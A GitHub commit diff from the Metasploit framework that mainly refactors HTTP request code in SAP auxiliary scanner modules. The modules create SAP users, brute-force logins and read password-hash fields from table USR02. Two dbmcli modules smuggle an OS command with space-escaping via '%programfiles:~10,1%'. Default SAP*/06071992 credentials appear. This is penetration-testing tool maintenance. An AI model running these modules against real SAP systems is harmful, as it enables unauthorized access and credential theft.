Skip to content

Commit afa04ac

Browse files
limhoff-r7limhoff-r7
committed
Merge branch 'master' into feature/mdm-module-namespace
2 parents 6015b25 + 94f841d commit afa04ac

15 files changed

+284
-256
lines changed

‎lib/msf/core/db.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2852,6 +2852,9 @@ def import_file(args={}, &block)
28522852
::File.open(filename, 'rb') do |f|
28532853
data = f.read(4)
28542854
end
2855+
if data.nil?
2856+
raise DBImportError.new("Zero-length file")
2857+
end
28552858

28562859
case data[0,4]
28572860
when "PK\x03\x04"

‎modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ class Metasploit4 < Msf::Auxiliary
1515

1616
def initialize
1717
super(
18-
'Name' => 'SAP Management Console ABAP syslog',
18+
'Name' => 'SAP Management Console ABAP Syslog Disclosure',
1919
'Description' => %q{ This module simply attempts to extract the ABAP syslog through the SAP Management Console SOAP Interface. },
2020
'References' =>
2121
[
@@ -106,15 +106,15 @@ def extractabap(rhost)
106106
if success
107107
print_status("#{rhost}:#{rport} [SAP] ABAP syslog downloading")
108108
print_status("#{rhost}:#{rport} [SAP] Storing looted SAP ABAP syslog XML file")
109-
store_loot(
109+
path = store_loot(
110110
"sap.abap.syslog",
111111
"text/xml",
112112
rhost,
113113
res.body,
114114
"sap_abap_syslog.xml",
115115
"SAP ABAP syslog"
116116
)
117-
117+
print_good("#{rhost}:#{rport} [SAP] SAP ABAP syslog XML file stored at #{path}")
118118
elsif fault
119119
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
120120
return

‎modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb

Lines changed: 8 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -70,21 +70,20 @@ def run_host(ip)
7070
data << '</n1:BAPI_USER_CREATE1>'
7171
data << '</env:Body>'
7272
data << '</env:Envelope>'
73-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
7473
begin
7574
print_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}'")
76-
res = send_request_raw({
75+
res = send_request_cgi({
7776
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
7877
'method' => 'POST',
7978
'data' => data,
80-
'headers' =>{
81-
'Content-Length' => data.size.to_s,
82-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
83-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
84-
'Authorization' => 'Basic ' + user_pass,
85-
'Content-Type' => 'text/xml; charset=UTF-8'
79+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
80+
'ctype' => 'text/xml; charset=UTF-8',
81+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
82+
'headers' =>
83+
{
84+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
8685
}
87-
}, 45)
86+
})
8887
if res and res.code == 200
8988
if res.body =~ /<h1>Logon failed<\/h1>/
9089
print_error("[SAP] #{ip}:#{rport} - Logon failed")

‎modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -118,19 +118,19 @@ def bruteforce(username,password,client)
118118
data << '</n1:RFC_PING>'
119119
data << '</env:Body>'
120120
data << '</env:Envelope>'
121-
user_pass = Rex::Text.encode_base64(username+ ":" + password)
122121
begin
123-
res = send_request_raw({
122+
res = send_request_cgi({
124123
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
125124
'method' => 'POST',
126125
'data' => data,
127-
'headers' =>{
128-
'Content-Length' => data.size.to_s,
129-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
130-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
131-
'Authorization' => 'Basic ' + user_pass,
132-
'Content-Type' => 'text/xml; charset=UTF-8'}
133-
}, 45)
126+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
127+
'ctype' => 'text/xml; charset=UTF-8',
128+
'authorization' => basic_auth(username, password),
129+
'headers' =>
130+
{
131+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
132+
}
133+
})
134134
if res and res.code == 200
135135
report_auth_info(
136136
:host => rhost,

‎modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ def create_payload(num)
7373
if num == 1
7474
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
7575
space = "%programfiles:~10,1%"
76-
command << datastore['COMMAND'].gsub(" ",space)
76+
command << datastore['CMD'].gsub(" ",space)
7777
end
7878
command = '-ic c:\\\pwn.out' if num == 2
7979
end
@@ -92,22 +92,19 @@ def create_payload(num)
9292
end
9393

9494
def exec_command(ip,data)
95-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
9695
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request")
9796
begin
98-
res = send_request_raw(
99-
{
100-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
101-
'method' => 'POST',
102-
'data' => data,
103-
'headers' => {
104-
'Content-Length' => data.size.to_s,
105-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
106-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
107-
'Authorization' => 'Basic ' + user_pass,
108-
'Content-Type' => 'text/xml; charset=UTF-8'
109-
}
110-
}, 45)
97+
res = send_request_cgi({
98+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
99+
'method' => 'POST',
100+
'data' => data,
101+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
102+
'ctype' => 'text/xml; charset=UTF-8',
103+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
104+
'headers' =>{
105+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
106+
}
107+
})
111108
if res and res.code != 500 and res.code != 200
112109
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
113110
return

‎modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def create_payload(num)
7474
if num == 1
7575
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
7676
space = "%programfiles:~10,1%"
77-
command << datastore['COMMAND'].gsub(" ",space)
77+
command << datastore['CMD'].gsub(" ",space)
7878
end
7979
command = '-ic c:\\\pwn.out' if num == 2
8080
end
@@ -93,22 +93,19 @@ def create_payload(num)
9393
end
9494

9595
def exec_command(ip,data)
96-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
9796
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
9897
begin
99-
res = send_request_raw(
100-
{
101-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
102-
'method' => 'POST',
103-
'data' => data,
104-
'headers' => {
105-
'Content-Length' => data.size.to_s,
106-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
107-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
108-
'Authorization' => 'Basic ' + user_pass,
109-
'Content-Type' => 'text/xml; charset=UTF-8'
110-
}
111-
}, 45)
98+
res = send_request_cgi({
99+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
100+
'method' => 'POST',
101+
'data' => data,
102+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
103+
'ctype' => 'text/xml; charset=UTF-8',
104+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
105+
'headers' =>{
106+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
107+
}
108+
})
112109
if res
113110
if res.code != 500 and res.code != 200
114111
print_error("[SAP] #{ip}:#{rport} - something went wrong!")

‎modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -61,22 +61,20 @@ def run_host(ip)
6161
data << '</n1:RFC_PING>'
6262
data << '</env:Body>'
6363
data << '</env:Envelope>'
64-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
6564
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_PING request")
6665
begin
67-
res = send_request_raw({
66+
res = send_request_cgi({
6867
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
6968
'method' => 'POST',
69+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
7070
'data' => data,
71+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
72+
'ctype' => 'text/xml; charset=UTF-8',
7173
'headers' =>
7274
{
73-
'Content-Length' => data.size.to_s,
74-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
75-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
76-
'Authorization' => 'Basic ' + user_pass,
77-
'Content-Type' => 'text/xml; charset=UTF-8'
75+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
7876
}
79-
}, 45)
77+
})
8078
if res and res.code != 500 and res.code != 200
8179
if res and res.body =~ /<h1>Logon failed<\/h1>/
8280
print_error("[SAP] #{ip}:#{rport} - login failed!")

‎modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,8 @@ def initialize
4949
OptString.new('CLIENT', [true, 'SAP client', '001']),
5050
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
5151
OptString.new('PASSWORD', [true, 'Password', '06071992']),
52-
OptString.new('TABLE', [true, 'Table to read', nil]),
53-
OptString.new('FIELDS', [true, 'Fields to read', '*'])
52+
OptString.new('TABLE', [true, 'Table to read', 'USR02']),
53+
OptString.new('FIELDS', [true, 'Fields to read', 'BNAME,BCODE'])
5454
], self.class)
5555
end
5656

@@ -82,21 +82,22 @@ def exec(ip,fields)
8282
data << '</n1:RFC_READ_TABLE>'
8383
data << '</env:Body>'
8484
data << '</env:Envelope>'
85-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
8685
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
8786
begin
88-
res = send_request_raw({
87+
res = send_request_cgi({
8988
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
9089
'method' => 'POST',
9190
'data' => data,
91+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
92+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
93+
'ctype' => 'text/xml; charset=UTF-8',
9294
'headers' =>{
93-
'Content-Length' => data.size.to_s,
9495
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
95-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
96-
'Authorization' => 'Basic ' + user_pass,
97-
'Content-Type' => 'text/xml; charset=UTF-8'
96+
#'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
97+
#'Authorization' => 'Basic ' + user_pass,
98+
#'Content-Type' =>
9899
}
99-
}, 45)
100+
})
100101
if res and res.code != 500 and res.code != 200
101102
# to do - implement error handlers for each status code, 404, 301, etc.
102103
if res.body =~ /<h1>Logon failed<\/h1>/

‎modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb

Lines changed: 32 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -68,42 +68,46 @@ def run_host(ip)
6868
data << '</n1:SUSR_RFC_USER_INTERFACE>'
6969
data << '</env:Body>'
7070
data << '</env:Envelope>'
71-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
71+
7272
begin
73-
print_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'")
74-
res = send_request_raw({
73+
vprint_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'")
74+
res = send_request_cgi({
7575
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
7676
'method' => 'POST',
7777
'data' => data,
78-
'headers' =>{
79-
'Content-Length' => data.size.to_s,
80-
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
81-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
82-
'Authorization' => 'Basic ' + user_pass,
83-
'Content-Type' => 'text/xml; charset=UTF-8'}
84-
}, 45)
85-
if res and res.code == 200
86-
if res.body =~ /<h1>Logon failed<\/h1>/
87-
print_error("[SAP] #{ip}:#{rport} - Logon failed")
88-
return
89-
elsif res.body =~ /faultstring/
90-
error = []
91-
error = [ res.body.scan(%r{(.*?)}) ]
92-
print_error("[SAP] #{ip}:#{rport} - #{error.join.chomp}")
93-
return
94-
else
95-
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}' created")
96-
return
97-
end
78+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
79+
'ctype' => 'text/xml; charset=UTF-8',
80+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
81+
'headers' =>
82+
{
83+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
84+
}
85+
})
86+
if res and res.code == 200
87+
if res.body =~ /<h1>Logon failed<\/h1>/
88+
vprint_error("[SAP] #{ip}:#{rport} - Logon failed")
89+
return
90+
elsif res.body =~ /faultstring/
91+
error = []
92+
error = [ res.body.scan(%r{(.*?)}) ]
93+
vprint_error("[SAP] #{ip}:#{rport} - #{error.join.chomp}")
94+
return
9895
else
99-
print_error("[SAP] #{ip}:#{rport} - Unknown error")
100-
print_error("[SAP] #{ip}:#{rport} - Error code: " + res.code) if res
101-
print_error("[SAP] #{ip}:#{rport} - Error message: " + res.message) if res
96+
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}' created")
10297
return
10398
end
104-
rescue ::Rex::ConnectionError
105-
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
99+
elsif res and res.code == 500 and res.body =~ /USER_ALLREADY_EXISTS/
100+
vprint_error("[SAP] #{ip}:#{rport} - user already exists")
101+
return
102+
else
103+
vprint_error("[SAP] #{ip}:#{rport} - Unknown error")
104+
vprint_error("[SAP] #{ip}:#{rport} - Error code: " + res.code) if res
105+
vprint_error("[SAP] #{ip}:#{rport} - Error message: " + res.message) if res
106106
return
107107
end
108+
rescue ::Rex::ConnectionError
109+
vprint_error("[SAP] #{rhost}:#{rport} - Unable to connect")
110+
return
108111
end
109112
end
113+
end

‎modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ def initialize
4949
OptString.new('CLIENT', [true, 'SAP Client', '001']),
5050
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
5151
OptString.new('PASSWORD', [true, 'Password', '06071992']),
52-
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
52+
OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']),
5353
OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]),
5454
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
5555
], self.class)
@@ -72,21 +72,19 @@ def run_host(ip)
7272
data << '</n1:SXPG_CALL_SYSTEM>'
7373
data << '</env:Body>'
7474
data << '</env:Envelope>'
75-
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
7675
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
7776
begin
78-
res = send_request_raw({
77+
res = send_request_cgi({
7978
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
8079
'method' => 'POST',
8180
'data' => data,
81+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
82+
'ctype' => 'text/xml; charset=UTF-8',
83+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
8284
'headers' =>{
83-
'Content-Length' => data.size.to_s,
8485
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
85-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
86-
'Authorization' => 'Basic ' + user_pass,
87-
'Content-Type' => 'text/xml; charset=UTF-8'
8886
}
89-
}, 45)
87+
})
9088
if res and res.code != 500 and res.code != 200
9189
# to do - implement error handlers for each status code, 404, 301, etc.
9290
print_error("[SAP] #{ip}:#{rport} - something went wrong!")

0 commit comments

Comments
 (0)